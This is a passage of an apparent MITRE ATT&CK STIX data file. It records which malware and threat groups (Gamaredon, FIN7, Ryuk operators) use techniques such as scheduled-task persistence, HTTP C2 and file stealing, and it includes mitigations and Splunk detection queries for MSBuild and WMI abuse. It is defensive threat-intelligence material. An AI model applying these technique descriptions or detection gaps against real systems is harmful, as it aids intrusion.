","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d60b92c6-2030-4802-8d7d-868ff15f3b0c","type":"relationship","created":"2019-10-03T19:28:39.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/","description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019."}],"modified":"2021-10-14T21:58:19.416Z","description":"Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.\n\nIn an Exchange environment, Administrators can use Get-InboxRule to discover and remove potentially malicious auto-forwarding rules.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d61205cb-8b80-49c1-ac2c-76b0770d3e40","created":"2023-09-26T14:08:30.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:11:22.020Z","description":"[Disco](https://attack.mitre.org/software/S1088) can create a scheduled task to run every minute for persistence.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about the OS, processor, and BIOS.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d617132e-68a7-489a-887f-1c40b147ea62","type":"relationship","created":"2019-04-22T15:06:12.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2020-03-18T15:47:59.332Z","description":"[Scarlet Mimic](https://attack.mitre.org/groups/G0029) has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7","target_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d617a381-4428-4132-8a13-3f017920c11b","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:45:51.344Z","description":"Monitor for newly executed processes of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity.\n\nTrusted developer utilities such as MSBuild may be leveraged to run malicious code with elevated privileges. This analytic looks for any instances of msbuild.exe, which will execute any C# code placed within a given XML document; and msxsl.exe, which processes xsl transformation specifications for XML files and will execute a variaty of scripting languages contained within the XSL file. Both of these executables are rarely used outside of Visual Studio.\n\nAnalytic 1 - MSBuild and msxsl\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")(Image=\"C:\\\\Program Files (x86)\\\\Microsoft Visual Studio\\\\*\\\\bin\\\\MSBuild.exe\" OR Image=\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework*\\\\msbuild.exe\" OR Image=\"C:\\\\users\\\\*\\\\appdata\\\\roaming\\\\microsoft\\\\msxsl.exe\") ParentImage!=\"*\\\\Microsoft Visual Studio*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d618ef5e-5d76-4014-8c86-9357c4c7f749","created":"2021-12-27T16:53:13.926Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used a file stealer that checks the Document, Downloads, Desktop, and Picture folders for documents and images with specific extensions.(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-04-07T21:28:04.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d61aad08-1ad3-4cba-a8e6-a8106089a635","created":"2022-02-02T15:38:26.331Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LitePower](https://attack.mitre.org/software/S0680) can send collected data, including screenshots, over its C2 channel.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T19:59:45.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d61f5cc3-e075-4a5b-ac7c-e77feac1d310","created":"2019-01-31T02:13:33.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.644Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6204645-83ff-4b26-a011-9b58bab2d597","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-17T00:52:00.156Z","description":"[Daserf](https://attack.mitre.org/software/S0187) uses HTTP for C2.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d62449f0-cecd-466f-b3e8-c6908f48cfaa","type":"relationship","created":"2020-03-16T15:33:02.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T20:58:34.771Z","description":"SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.","relationship_type":"mitigates","source_ref":"course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d62f97e9-2b94-44d9-88db-99f849a804ec","created":"2023-03-21T16:42:47.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T14:16:07.736Z","description":"Limit the user accounts that have access to backups to only those required. In AWS environments, consider using Service Control Policies to restrict API calls to delete backups, snapshots, and images. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d63355e9-94d1-4eb2-b24d-d8c8b11923ef","type":"relationship","created":"2021-04-13T19:29:21.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-13T19:29:21.175Z","description":"(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d63b16af-3fa0-4ae3-a136-49f600818a3c","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed files associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V).","modified":"2022-04-14T16:22:23.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d63bec5d-c2b9-4057-bd3f-30c5bc1b5bd8","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor newly executed processes that may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d640a79e-1c7a-4672-8a0d-1b8248e510d1","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d64b5eaf-493c-4bb0-b4bc-c911de6f497d","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:36:25.878Z","description":"Monitor executed commands and arguments that may gather information about the victim's hosts that can be used during targeting.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of CMSTP. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-30T18:13:29.305Z","description":"Some [Sakula](https://attack.mitre.org/software/S0074) samples install themselves as services for persistence by calling WinExec with the net start argument.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d64f970a-8003-41bf-9769-d849c12340ed","created":"2020-05-14T14:40:26.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"CrowdStrike Ryuk January 2019","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk in 5 Hours October 2020","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.665Z","description":"(Citation: CrowdStrike Ryuk January 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d651a54f-41a3-49cc-860e-5542b2df86af","created":"2023-07-24T20:38:18.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:00:01.061Z","description":"Monitor for newly constructed WMI objects that will execute malicious commands and payloads. \n\nAnalytic 1 - WMI object creation events\n\n index=security sourcetype=\"WinEventLog:Microsoft-Windows-WMI-Activity/Operational\" \n(EventCode=5861 OR EventCode=5857 OR EventCode=5858) \n| eval CommandLine = coalesce(CommandLine, ParentCommandLine) \n| where (EventCode=5861 AND (CommandLine LIKE \"*create*\" OR CommandLine LIKE \"*process*\")) \nOR (EventCode=5857 AND (CommandLine LIKE \"*exec*\" OR CommandLine LIKE \"*invoke*\")) \nOR (EventCode=5858 AND (CommandLine LIKE \"*payload*\" OR CommandLine LIKE \"*wmic*\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d65b3176-37a7-4072-90b8-38ac51dbe44d","type":"relationship","created":"2020-03-15T15:34:30.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:44:12.159Z","description":"Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. ","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d65c9c85-2206-46c0-b55b-4fe2bd022c41","created":"2020-06-16T17:53:18.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:45:39.100Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has created scheduled tasks to launch executables after a designated number of minutes have passed.(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: unit42_gamaredon_dec2022)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d661c7eb-11bb-4ef4-804e-665cc361789c","created":"2023-02-07T21:27:58.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-20T20:02:41.088Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to use TCP for external C2.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d6624fc4-3aed-47c9-a4d9-aafc008f876f","created":"2021-12-27T19:19:42.883Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can enumerate directories on a compromise host.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:48:22.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d66390f8-b523-43b8-8f6b-986d40007898","created":"2024-02-29T18:18:09.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T21:30:01.095Z","description":"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information, and in monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. ","relationship_type":"detects","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6651e18-7d44-42a4-b597-1b1c344dd852","type":"relationship","created":"2021-07-07T02:17:18.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.689Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: 